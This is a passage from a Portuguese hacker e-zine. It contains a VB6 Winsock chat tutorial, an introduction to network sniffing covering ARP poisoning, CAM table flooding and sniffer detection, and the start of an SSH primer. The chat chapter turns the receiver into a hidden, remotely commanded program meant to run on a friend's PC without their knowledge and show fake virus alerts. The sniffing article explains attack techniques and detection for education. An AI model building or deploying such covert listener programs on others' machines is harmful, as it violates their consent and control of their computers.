Arrume as propriedades "Text" do Text1, Text2 e Text3 para estarem vazios - Arrume a propriedade "MultiLine" do Text2 para: "True" - Arrume a propriedade "ScollBars" dele para "2 - Vertical" - Arrume a propriedade "Caption" do Label1 para: "Status:" - Deixe-o de tal forma a ser o último item do formulário, estando abaixo de todos os outros controles - Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo) - Arrume o Command3 para estar próximo ao command1 - Arrume a propriedade "Caption" dele para "&Desconectar" Agora vamos ao Código deste programa >>> No evento Timer do Timer1 atualize o código para que fique como abaixo: # Private Sub Timer1_Timer() # Label1.Caption = "Status: " & Winsock1.State # End Sub >>> No Evento Click do Command1 atualize o código para que fique como abaixo: # Private Sub Command1_Click() # On Error GoTo erro # Winsock1.Connect Text3.Text, 120 # Exit Sub # erro: # MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar" # End Sub >>> No Evento Click do Command2 atualize o código para que fique como abaixo: # Private Sub Command2_Click() # On Error GoTo erro # Winsock1.SendData Text1.Text # Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf # Exit Sub # erro: # MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar conectar" # End Sub >>> No Evento Click do Command3 atualize o código para que fique como abaixo: # Private Sub Command3_Click() # Winsock1.Close # End Sub >>> No Evento Connect do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_Connect() # Winsock1.SendData Winsock1.LocalIP & " está conectado!" # Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!" & vbCrLf # End Sub >>> No Evento DataArrival do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf # End Sub Agora vamos ao código do programa que deverá estar rodando na casa de seu amigo... - Arrume a propriedade "LocalPort" e "RemotePort" do Winsock1 para "120" - Faça este novo programa exatamente igual a este anterior...porém sem o command1 e sem o Text3 >>> No Evento ConnectionRequest do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) # Winsock1.Close # Winsock1.Accept requestID # End Sub >>> No Evento Load do Form1 atualize o código para que fique como abaixo: # Private Sub Form_Load() # Winsock1.Listen # End Sub Como tudo isso funciona? -------------------------------------------------------- # Arrume a propriedade "Default" dele para: "True" Toda vez que num Textbox for precionado a tecla 'Enter' será o mesmo que clicar no botão com esta propriedade (OBS: apenas 1 botão por form pode ter a propriedade Default como True) -------------------------------------------------------- # Arrume a propriedade "MultiLine" do Text2 para: "True" Toda vez que esta propriedade for arrumada para true em um textbox, este poderá ter várias linhas. -------------------------------------------------------- # Arrume a propriedade "ScollBars" dele para "2 - Vertical" Toda vez que esta propriedade for setada para 2 aparecerá uma barra de rolagem no textbox -------------------------------------------------------- # Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo) Esta propriedade arruma o tempo, de que em tempo em tempo o Evento Timer ocorrerá no Timer1 Saiba que 1000(na Propriedade Interval) equivale a 1 segundo, logo 500 é 1/2 segundo... -------------------------------------------------------- # Private Sub Timer1_Timer() # Label1.Caption = "Status: " & Winsock1.State # End Sub Mantém sempre ativo e verdadeiro o valor atual do Winsock1.state exibido em Label1.Caption -------------------------------------------------------- # Private Sub Command1_Click() # On Error GoTo erro # Winsock1.Connect Text3.Text, 120 # Exit Sub # erro: # MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar" # End Sub On error goto erro >>> significa que se houver algum erro ao tentar executar alguma das linhas abaixo, quer que exiba uma mensagem de erro no nosso caso... Winsock1.Connect Text3.Text, 120 >>> quer dizer para o winsock se conectar com o Host que foi predeterminado pelo usuário em Text3.Text, pela porta 120... OBS: O Host pode ser também um número IP -------------------------------------------------------- # Private Sub Command2_Click() # On Error GoTo erro # Winsock1.SendData Text1.Text # Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf # Exit Sub # erro: # MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar conectar" # End Sub Tenta enviar a informação presente em Text1.Text para o Host Remoto e adicionar o que acabou de escrever em Text2.Text, caso não conssiga ele deverá exibir uma mensagem de erro... -------------------------------------------------------- # Private Sub Command3_Click() # Winsock1.Close # End Sub Prepara ou Reprepara o Winsock para uma nova conexão... -------------------------------------------------------- # Private Sub Winsock1_Connect() # Winsock1.SendData Winsock1.LocalIP & " está conectado!" # Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!" & vbCrLf # End Sub Caso consiga se conectar ele envia a mensagem: " está conectado!", e exibe oque acabou de enviar em Text2.Text -------------------------------------------------------- # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf # End Sub Armazena oque acabou de receber em X e salva o valor atual de X, concatenando em Text2.Text -------------------------------------------------------- # Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) # Winsock1.Close # Winsock1.Accept requestID # End Sub winsock1.close >>> Reprepara o winsock pra parar de "escutar" e ficar preparado para esta nova conexão... Winsock1.Accept requestID >>> Aceita conexão -------------------------------------------------------- # Private Sub Form_Load() # Winsock1.Listen # End Sub Prepara o winsock1 para aceitar conecções pela porta 120, como já pré determinado pela propriedade LocalPort e RemotePort... -------------------------------------------------------- Colocando pra rodar: - Coloque o 1º programa em seu computador pra rodar... - Coloque o 2º programa no computador do seu amigo pra rodar... - Pegue o IP do teu amigo... - Coloque este IP no campo de texto ao lado do botão conectar... - Click em conectar...e inicie o bate papo... Agora...Repare...Quase todos os aplicativos e programas do windows voltados pra internet utilizam essa DLL (em alguma vezes, e como nestes exemplos: OCX)...Bom...agora que você já entende... Imagine, o que faz os programas "conversarem" entre si é este componente, isso não parece um "CHAT"? Por isso que digo e confirmo a minha idéia neste próximo capítulo... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -= 5: Aperfeiçoando uma idéia... =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Agora... imagine se o programa envia uma certa informação, e o programa receptor recebe esta e analisa o conteúdo, quando ele analisa o conteúdo (sem mostrar a informação ao usuário), verifica que sempre sem mostrar ao usuário deverá executar uma tal instrução.... agora imagine se este usuário (o que está com o programa receptor) não souber que está rodando em seu PC o programa... e agora imagine que esta tal instrução seja de apagar algum arquivo, ou exibir pro usuário uma mensagem de um suposto "vírus"... Pegue aquele programa que deveria rodar na casa do seu visinho do capítulo 4 e vamos fazer algumas modificação nele... >>> No Evento Load do Form1 atualize o código para que fique como abaixo: # Private Sub Form_Load() # Me.Visible = False # Winsock1.Close # Winsock1.Listen # End Sub >>> No Evento DataArrival do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Select Case X # Case "#EXIT#" # End # Case "#MSG1#" # MsgBox "Isto é um Vírus! esteja preparado para as conssequencias", vbCritical, "É o teu fim!" # Case "#MSG2#" # MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma decadente em Munrra!!!", _ # vbInformation, "Munrra domina novamente!" # Case "#MSG3#" # MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!", vbCritical, "É o fim do mundo!" # Case Else # MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater nele!", vbCritical, _ # "Teu amigo é um safado!" # End Select # End Sub Como isso funciona: -------------------------------------------------------- # Private Sub Form_Load() # Me.Visible = False # Winsock1.Close # Winsock1.Listen # End Sub Me.Visibled = False >>> quer dizer para o formulário ficar invisível -------------------------------------------------------- # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Select Case X # Case "#EXIT#" # End # Case "#MSG1#" # MsgBox "Isto é um Vírus! esteja preparado para as conseqüência", vbCritical, "É o teu fim!" # Case "#MSG2#" # MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma decadente em Munrra!!!", _ # vbInformation, "Munrra domina novamente!" # Case "#MSG3#" # MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!", vbCritical, "É o fim do mundo!" # Case Else # MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater nele!", vbCritical, _ # "Teu amigo é um safado!" # End Select # End Sub Verifica O valor de X (que é a variável que armazena a informação que chegou), ao verificar ele "Vê" se o valor é #EXIT#, ou #MSG1# ou #MSG2#, quando ele "descobre" qual que é ele executa sua referente função. -------------------------------------------------------- Dica: Aconselho-te estudar BEM o código fonte antes de simplesmente compilá-lo e enviar ao teu amigo...eheh O que você fez foi enviar comandos(#EXIT#, #MSG1#...) ao invés de enviar mensagens...de certa forma você ainda enviou mensagens, que é algo comum em um CHAT.... Agora imagina se o seu programa começasse a enviar comandos para saber se ainda está conectado com teu amigo, mas não é você que está enviando os "comandos". Que conclusão é possível se tirar disso? R: Ainda há um CHAT! um Chat de programa pra programa...e não mais de Usuário para usuário. Explicado, agora que você entende isso repare uma coisa: TODOS OS PROGRAMAS QUE UTILIZAM REDE ESTÃO NESTA ESPÉCIE DE CHAT!!!! Logo podemos dizer que "toda comunicação é um chat"! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 6: Contato =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Se você não entendeu algo... ou tem alguma dúvida sobre algo que foi explicado aqui, ou sobre winsock ou qualquer coisa mesmo... pode me perguntar, se eu souber, eu respondo. vbkeydel@hotmai.com 139112482 -=| EOF |=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[07]-=[Sniffing for Dummies]-=|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Introducao ao Sniffing (Sniffing for Dummies) Por hallz .:: Introducao ::. Procuro abordar aqui o funcionamento de um sniffer, os riscos que este pode trazer a uma rede, alguns truques que invasores usam para oculta-lo e tambem formas de deteccao. Ao longo do artigo, usarei a palavra 'invasor' quando me referir a pessoa que esta 'sniffando' uma rede que nao seja sua. 'Invasor' neste caso, serve para hackers, crackers e kiddies. Vale lembrar, no entanto, que as diferencas entre os termos sao enormes. Hackers sao pessoas com conhecimento avancado, que estao sempre em busca de mais conhecimento, compartilham suas descobertas e seguem uma etica; Crackers violam sistemas com intencoes maliciosas, causando problemas aos seus alvos; Kiddies sao pessoas que nao tem conhecimento tecnico, apenas usam ferramentas criadas por outros como forma de conseguir seus 15 minutos de fama. Este eh um texto basico, portanto se voce ja eh 'fera', nao espere encontrar algo novo por aqui. .:: O que sao Sniffers? ::. Sniffers (farejadores) sao dispositivos (podem ser programas ou algum hardware especifico) que capturam (a maioria tambem analisa) o trafego de uma rede de forma passiva, isto eh, sem interferir nas comunicacoes. Estes, podem ser utilizados tanto por administradores como por invasores, obviamente com propositos diferentes. Administradores podem usar um sniffer para detectar, ou pelo menos ajudar a detectar, a causa de um problema, assim como gerar logs do trafego da rede que podem ser consultados posteriormente caso necessario (devido ao comprometimento de uma maquina, por exemplo). Ja invasores podem utiliza-lo para capturar informacoes confidenciais que circulem em 'texto-puro', ou seja, nao criptografadas. Qualquer informacao nao criptografada, incluindo logins e senhas de servicos como FTP, Telnet e POP, estara acessivel ao invasor. Usar criptografia eh altamente recomendavel, porem nao impede totalmente o acesso por parte do invasor as informacoes. .:: Como Funcionam ::. Para entender o funcionamento dos sniffers, precisamos entender o funcionamento das redes. Aqui sera abordado o padrao Ethernet, o mais utilizado hoje em dia. Cada computador em uma rede Ethernet tem o seu endereco de hardware, o MAC (Media Access Control). O MAC, um numero hexadecimal de 12 digitos, unico em toda a rede (teoricamente nao existem duas placas de rede com o mesmo MAC), eh utilizado para identificar as maquinas. Em cada pacote enviado, logo no comeco, podemos encontrar dois enderecos MACs; O endereco do computador que enviou o pacote, e o endereco do computador que deve recebe-lo. Na verdade, todos os computadores da rede recebem os pacotes (salvo se a rede utilizar switches - isto sera abordado mais adiante), mas so responderao a pacotes destinados a elas, ou seja, apenas responderao caso o pacote em questao tenha o seu endereco MAC como destinatario; caso nao possua, o pacote sera descartado (isso eh feito a nivel de hardware - interface de rede). Se conseguirmos fazer com que a interface nao descarte os pacotes, poderemos capturar todo o trafego da rede! E eh assim que um sniffer funciona, ele faz com que a interface de rede aceite todos os pacotes. Quando uma interface se encontra nesta condicao, dizemos que esta em 'modo promiscuo', estado que geral- mente pode-se habilitar via software. Na maioria dos sistemas operacionais atuais, para por uma interface de rede em modo promiscuo, deve-se ter privilegios de root (administrador). O sniffer pode ser utilizado com a interface em seu estado normal, mas neste caso soh serao capturados os pacotes que tenham como origem (ou destino) o computador onde ele esta sendo executado. Pode nao parecer tao interessante (e realmente nao eh) mas se este computador for um roteador, o invasor tera acesso a todo o trafego que por ele passar. Os pacotes capturados pelo sniffer geralmente sao armazenados em arquivos salvos no disco rigido, para posterior analise. Em uma rede movimentada, este arquivo podera ficar enorme, em poucas horas, o que facilitaria a deteccao de um sniffer por parte do administrador. Por este motivo (e tambem para nao perder tempo), sniffers instalados furtivamente sao bem seletivos; gravam apenas o que eh interessante ao invasor (geralmente logins e senhas). Como estas informacoes geralmente localizam-se no comeco do pacote, muitos sniffers nao analisam o pa- cote inteiro, mas apenas os seus primeiros 200-300 bytes. Outros sniffers vao ainda mais longe; enviam os logins/senhas capturados para um e-mail fornecido pelo invasor. Imaginemos a seguinte situacao: Um invasor, localizado no RJ, quer interceptar a conversa pela internet de Joao e Maria, que estao em SP, usando um sniffer. Eh possivel? ---------------- / \ / \ ------ ---------- ---------- ------- | Joao |---> | Provedor | INTERNET | Provedor | <--- | Maria | ------ ---------- ---------- ------- \ / \ ---------- / --| Provedor |-- ---------- | --------- | Invasor | --------- Claro! Basta que ele consiga acesso ao computador de um dos dois (engenharia social, exploracao de alguma falha, trojans...), ou a algum que esteja 'no meio do caminho' (Um servidor do provedor de Maria ou um roteador, por exemplo) e instale la o sniffer. O invasor pode ainda fazer com que os dados passem pelo seu computador (ou seja, ele redireciona o trafego). Apesar de ser muito mais trabalhoso, eh possivel. .:: Sniffers em redes comutadas ::. Logo acima foi dito que os pacotes em uma rede sao distribuidos por todos os computadores; Isto eh verdade se for utilizado um hub ou cabo coaxial para fazer a ligacao dos PCs, mas nao se for utilizado um switch (Lembrem-se que estamos falando de redes Ethernet). Os switches possuem tabelas onde sao armazenados, entre outras coisas, enderecos MACs encontrados em cada uma de suas portas. Por isso, o switch pode enviar os pacotes apenas para a porta onde esta o destinatario. Com isso, dificulta-se o sniffing (Porem nao o torna impossivel :P ). Mas como o switch sabe em que porta o destinatario esta? Simples! Suponhamos que Joao e Maria agora estao ligados em uma rede comutada. Vejamos o que acontece se Joao 'pingar' (ICMP Echo Request) o computador de Maria. Joao ---> ARP Request ---> Broadcast Joao <--- ARP Response <--- Maria Joao ---> ICMP Echo Request ---> Maria Joao <--- ICMP Echo Response <--- Maria O que acontece eh o seguinte: Joao quer enviar o ICMP Echo Request (o famoso Ping) para Maria, mas para isso, ele precisa saber o endereco fisico (MAC) do computador de Maria. Por isso, Joao 'grita', para todos os computadores da rede (Broadcast): "Qual o endereco MAC de Maria?". Isto eh um ARP Request (Address Resolution Protocol - o ARP traduz enderecos IP para MAC). Maria entao ouve o 'grito' de Joao e o responde (ARP Response). Agora que Joao ja tem o endereco MAC, pode enviar o 'ping' (Echo Request), que eh prontamente respondido pela Maria (Echo Response). Depois disso, caso Joao queira enviar mais algum pacote para Maria (e vice-versa), nao precisara enviar primeiro outro ARP Request, pois o endereco MAC de Maria ja sera conhecido, podendo ser localizado na cache ARP de seu PC. Quando passam ARP Requests e Responses pelo switch, este verifica de qual de suas portas o pacote foi originado e pega o endereco MAC de origem que esta escrito no pacote. Essas informacoes sao entao registradas nas tabelas do switch; Assim ele fica sabendo em que porta estao localizados cada computador, e pode repassar os pacotes apenas para a porta onde esta o destinatario do pacote. Redes que operem nesta forma sao chamadas de comutadas. Porem nem tudo sao flores, e o sniffing ainda pode funcionar nestas condicoes. Vejamos algumas for- mas de fazer isso. + Table Flooding Como ja foi dito, o switch sabe para que porta enviar cada pacote devido a tabela que ele possui (CAM Table). (CAM) Table Flooding consiste em encher a tabela do switch com entradas falsas, para que ele passe a enviar os pacotes para todas as portas. Tabela do Switch ANTES do ataque: (apenas para ilustracao, a tabela eh mais 'complexa') -------------------------- | Porta | Endereco MAC | |--------------------------| | 01 | MAC de Maria | | 02 | MAC de Joao | | ... | ... | | 10 | MAC do Invasor | -------------------------- Entao o invasor, que quer capturar o trafego da rede, comeca a enviar pacotes ARP para a rede, cada um com um endereco MAC - que nao existe na rede - diferente. O switch armazena estes enderecos em sua tabela, ateh que esta fica cheia - Sim, a CAM Table tem um limite de entradas. Tabela do Switch DURANTE o ataque: ---------------------------- | Porta | Endereco MAC | |----------------------------| | 01 | MAC inexistente 1 | | 02 | MAC inexistente 2 | | ... | ... | | 10 | MAC inexistente 10 | ---------------------------- Assim, todo o pacote cujo destinatario nao estiver listado na tabela do switch devera ser enviado para todas as portas. Ai, o invasor pode captura-los sem problemas. O macof eh um programa que aplica esta tecnica. + ARP Cache Poisoning Esta tecnica consiste em enviar pacotes ARP forjados para as maquinas-alvo, de forma com que todo o trafego entre elas passe pela maquina do invasor. Vejamos o caminho (normal) dos pacotes entre Joao e Maria: -------- -------- ------- | Joao | <--> | Switch | <--> | Maria | -------- -------- ------- Para poder sniffar o trafego entre Joao e Maria, o invasor envia pacotes ARP (que nao requerem autenticacao) para Joao fingindo ser Maria, e pacotes ARP para Maria fingindo ser Joao. Assim a tabela ARP de Maria e Joao fica envenenada (poisoned). Vejamos as tabelas: Antes: Tabela de Joao ANTES do ataque Tabela de Maria ANTES do ataque -------------------------------- -------------------------------- | Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC | |--------------------------------| |--------------------------------| | IP de Maria | MAC de Maria | | IP de Joao | MAC de Joao | | IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor | -------------------------------- -------------------------------- Durante: Tabela de Joao DURANTE o ataque Tabela de Maria DURANTE o ataque -------------------------------- -------------------------------- | Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC | |--------------------------------| |--------------------------------| | IP de Maria | MAC do Invasor | | IP de Joao | MAC do Invasor | | IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor | -------------------------------- -------------------------------- O invasor deve certificar-se que os pacotes enviados por Joao cheguem ao seu destinatario real, Maria, e vice-versa. Isso pode ser feito facilmente atraves do IP Forwarding, que eh suportado por muitos sistemas operacionais. Alem disso, o invasor devera enviar regularmente novos pacotes ARP para Maria e Joao, pois as entradas nas tabelas ARP expiram. O caminho dos pacotes durante o ARP Poisoning: -------- -------- --------- -------- ------- | Joao | <--> | Switch | <--> | Invasor | <--> | Switch | <--> | Maria | -------- -------- --------- -------- ------- Com o ARP Cache Poisoning o invasor pode nao somente capturar os pacotes enviados como tambem altera-los (assim como cria-los) antes de enviar para o verdadeiro destinatario. Imagine se o invasor se passar por um roteador... + ICMP Redirect Pacotes ICMP Redirect sao usados por roteadores para fazer com que os computadores enviem seus pacotes por um caminho diferente. Forjando ICMP Redirects o invasor pode alterar as tabelas de roteamento de uma maquina para que o trafego passe por ele. + Monitor Port (SPAN, Port Mirroring, Port Monitoring) Muitos switches fornecem Monitor Ports, que permitem copiar todo o trafego da rede para uma (ou mais) portas. O problema - Ou solucao, depende do ponto de vista - eh que muitos administradores nao alteram as senhas-padrao, permitindo assim que o invasor faca com que o switch envie todo o trafego da rede para a porta em que ele esta conectado. Caso o switch suporte realizar esta configuracao via SNMP, o invasor pode tentar adivinhar a senha. Mesmo que o administrador tenha configurado o switch para aceitar apenas pacotes SNMP vindos de um certo endereco IP, o invasor pode utilizar de spoofing. + Switch Port Stealing Nesta tecnica o invasor envia pacotes com o endereco MAC de origem da maquina-alvo. O switch entao "aprende" que o invasor *eh* a maquina-alvo e passa a enviar os pacotes destinados a ela para o invasor. Temos dois problemas aih. O primeiro eh que se a maquina-alvo parar de receber os pacotes, a conexao se encerra; O outro problema eh que a maquina-alvo continuara enviando pacotes, o que fara com que a tabela do switch volte ao seu estado normal. Para contornar o problema, podemos tirar a maquina-vitima da jogada (DoS) e enviar os pacotes com o MAC alterado. Assim podemos tomar conta de uma conexao ja autenticada, como uma sessao Telnet. Outra possibilidade eh enviar pacotes com o MAC alterado em intervalos regulares, e ao receber um pacote destinado a maquina-alvo, reenvia-lo para broadcast. Assim, a maquina-alvo continua recebendo os pacotes. .:: Detectando Sniffers ::. Por sua natureza passiva, a deteccao de sniffers pode se tornar algo complicado. Contudo, formas de deteccao existem, e podem ser divididas em duas categorias: locais e remotas. A deteccao local consiste basicamente em utilizar ferramentas do sistema para verificar se existem interfaces em modo promiscuo, ou algum outro indicio da existencia de sniffers na maquina. Podemos ver se uma interface esta em modo promiscuo usando o ifconfig: bash-2.05b# ifconfig -a eth0 Link encap:Ethernet HWaddr 00:50:56:40:2A:B9 inet addr:192.168.0.172 Bcast:192.168.0.191 Mask:255.255.255.224 UP BROADCAST NOTRAILERS RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2282 (2.2 Kb) TX bytes:2707 (2.6 Kb) Interrupt:10 Base address:0x10a0 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) Repare a palavra "PROMISC" em eth0. Em maquinas Windows (NT, 2000, XP) pode -se utilizar o PromiscDetect. Outra ferramenta que pode ser utilizada eh o lsof (list open files), em busca de network files abertos (sockets) ou ainda o arquivo onde o sniffer grave os dados capturados. O problema da deteccao local eh que o invasor pode substituir as ferramentas como ifconfig ou ainda carregar modulos que facam o computador esconder as informacoes que poderiam entregar a presenca do sniffer. Um checador de integridade, como o tripwire, pode ajudar a resolver o problema da alteracao de binarios, mas se o invasor inserir um modulo no kernel que faca o sistema mentir para voce, o tripwire de nada adiantara. Existem ferramentas, como o rkscan, que podem localizar rootkits conhecidos, atraves de assinaturas (padroes). Novamente, o rkscan de nada adiantara contra um rootkit desenvolvido pelo proprio invasor, ja que sua assinatura nao constara no rkscan. E a brincadeira de gato e rato continua... :> A deteccao remota eh um processo heuristico, ou seja, o resultado nao eh 100% confiavel. Nesta deteccao exploram-se certas caracteristicas do sistema operacional e protocolos, que possam indicar a existencia de um sniffer. Vejamos algumas das tecnicas que IDS e ferramentas como o antisniff utilizam para tentar identificar sniffers na rede. + Metodo Ping Sem duvida o metodo mais conhecido, consiste em enviar um ICMP Echo Request (ping) para a maquina a ser testada, mas com o endereco MAC diferente. Como o MAC nao eh o da maquina, nao deve haver resposta ao ping; se houver, eh porque a interface de rede nao descartou o pacote, e portanto, esta rodando em modo promiscuo. Este metodo pode ser realizado com qualquer protocolo que gere resposta. Apesar de eficiente, pode ser contornado facilmente; de fato varios sniffers furtivos implementam uma especie de 'filtro virtual de MAC', que inutiliza esta tecnica. + Metodo ARP Existem basicamente duas possibilidades aqui. A primeira eh a mesma do Metodo Ping, soh que utiliza-se o protocolo ARP. A segunda aproveita-se do ARP Cache. Lembram de como funciona isto? Se nao lembram, releiam o texto, pois eu que nao vou escrever novamente :P Bem, o que se faz eh o seguinte: Envia-se um ARP para um endereco que nao seja o de broadcast, e depois um Ping para broadcast. As maquinas que responderem o ping sem antes enviarem um ARP pedindo seu MAC *podem* te-lo obtido capturando o seu pacote ARP anterior, portanto *podem* estar executando um sniffer. + Honey Pot (aka Armadilha) Honey Pots sao utilizados para a deteccao e estudo de ataques (apesar de existirem muitas criticas a respeito de seu uso). No caso da deteccao de sniffers, pode-se enviar informacoes, senhas falsas na rede, simular conexoes, e esperar que alguem tente usa-las. Pode ser uma boa forma de detectar um sniffer totalmente passivo. + DNS Reverso Alguns sniffers realizam operacoes resolucao reversao (Reverse DNS Lookups), isto eh, transformam enderecos IP em nomes mais amigaveis (pelo menos para seres humanos normais), como google.com. Entao, monitorando a utilizacao de resolucao reversa na rede pode-se encontrar sniffers. Um exemplo pratico seria voce enviar varios pings para enderecos inexistentes na rede, e monitora-la, para ver se alguma maquina tenta realizar a resolucao. + Inundacao ARP Para sniffers em redes comutadas serem funcionais, frequentemente eles necessitarao gerar grande trafego ARP, seja para encher a tabela do switch ou para assumir o lugar de outra maquina (Man in the middle). O monitoramento do numero de anuncios ARP pode revelar a existencia de sniffers na rede. + Latencia Este metodo pode trazer problemas a rede, portanto deve ser empregado com cuidado, e apenas quando ja existir a suspeita que uma maquina esteja executando um sniffer. Ele consiste em enviar uma grande quantidade de trafego na rede. Maquinas que nao estiverem suas interfaces de rede executando em modo promiscuo nao serao afetadas, apenas as que estiverem, sim. Como serao afetadas? Terao um aumento do seu tempo de resposta, devido ao fato do sniffer (a maioria) analisar todos os pacotes recebidos a fim de armazenar apenas as informacoes que forem interessantes. 'Pingue' a maquina suspeita antes de injetar grande quantidade de trafego na rede e anote o resultado. Depois, pingue novamente durante a 'tempestade' de pacotes. Se a diferenca for grande, podemos ter um sniffer ai. .:: Evitando o sniffing ::. Existem formas de tornar as coisas mais complicadas para sniffers, como o uso de entradas ARP estaticas - a cache ARP nao eh modificada - ou o uso de Port Security, que 'prende' os enderecos MAC a certas portas do switch, mas nao sao muito praticas. Existem ainda interfaces de rede que nao suportam o modo promiscuo, mas sao dificeis de serem encontradas. A solucao mais efetiva contra sniffers eh o uso de criptografia, desde que seja implementada de forma correta, com algoritmos seguros, alem de ser muito mais facil de ser administrado que as solucoes anteriores. .:: Finalizando ::. Espero que este artigo tenha atingido seu objetivo de servir de introducao ao sniffing, um eterno (?) problema para admins. Fico devendo (mas nao garanto que farei :P) uma parte sobre sniffing de redes wireless. Ate a proxima! :> hallz .:: Links Relacionados ::. http://www.packetstormsecurity.nl/sniffers/ http://stein.cshl.org/~lstein/talks/WWW6/sniffer/ http://www.linux-sec.net/Sniffer/ http://www.datanerds.net/~mike/dsniff.html http://www.ntsecurity.nu/toolbox/promiscdetect/ http://www.securityfriday.com/ToolDownload/ScoopLM/scooplm_doc.html http://ettercap.sourceforge.net/ http://www.oxid.it/cain.html http://staff.washington.edu/dittrich/talks/agora/macof http://www.robertgraham.com/pubs/sniffing-faq.html http://www.nwo.net/osall/Methodology/Novice/Sniffer_FAQ/sniffer_faq.html http://www.packetwatch.net/documents/papers/layer2sniffing.pdf http://www.ebookhackers.net/kb/index.php?page=index_v1&c=15 .:: EOF ::. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[08]-=[Introdução ao SSH]-=|Haze|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1 - Introdução 2 - O que é SSH 3 - Principais vantagens 4 - Alguns comandos 5 - Clientes SSH 6 - Conclusão 7 - Referêcias 8 - Links ~~~~~~~~~~~~~~~~~ 1 - Introdução ~~~~~~~~~~~~~~~~~ Olá turma. Alguns de voces ja devem ter ouvido falar disso, ou nao. Este tutorial é simples e foi destinado a explicar o que é SSH para dar ao menos a noção de como funciona. Como é dito sempre, é um pequeno tutorial destinado a newbies, portanto, se você é elite ou profissional, não vai querer perder seu tempo lendo isso neh?. ~~~~~~~~~~~~~~~~~~ 2 - O que é SSH ? ~~~~~~~~~~~~~~~~~~ O SSH (Secure Shell, ou shell seguro) é um protocolo de comunicação segura que foi criada em Julho de 1995, por Tatu Ylonenque com objetivo substituir protocolos cuja comunicação não é cifrada, apresentando graves problemas de segurança como é o caso do telnet, rlogin, rsh, rcp e outros, ou seja, qualquer dado que for transportado por esses protocolos são passados através da internet como texto puro, permitindo assim o possivel uso de sniffers por pessoas mal -intencionadas para captura de dados como senhas e logins. Cifrando a comunicação entre dois pontos, o SSH permite maior segurança na comunicação de dados, visto que seria bastante complicado para um atacante decifrar a informação transmitida já que essa informação está criptografada. Este protocolo serve tanto para serviços remotos de terminal , como para efetuar transferências seguras de arquivos (sftp), substituindo assim clientes de Telnet e de FTP. O SSH é muito usado devido sua grande escabilidade , segurança e é suportado por varios sistemas operacionais ( Linux, *BSD , Windows , MS-DOS, BeOS , Solaris e outros). ~~~~~~~~~~~~~~~~~~~~~~~~ 3- Principais Vantagens ~~~~~~~~~~~~~~~~~~~~~~~~ O SSH utiliza um poderoso método de criptografia chamado de Public Key Cryptography que permite a autenticação e encriptação entre o cliente e servidor de maneira que nenhuma senha e nenhuma tranferencia de dados sejam facilmente interceptados por outros hosts. Esse método 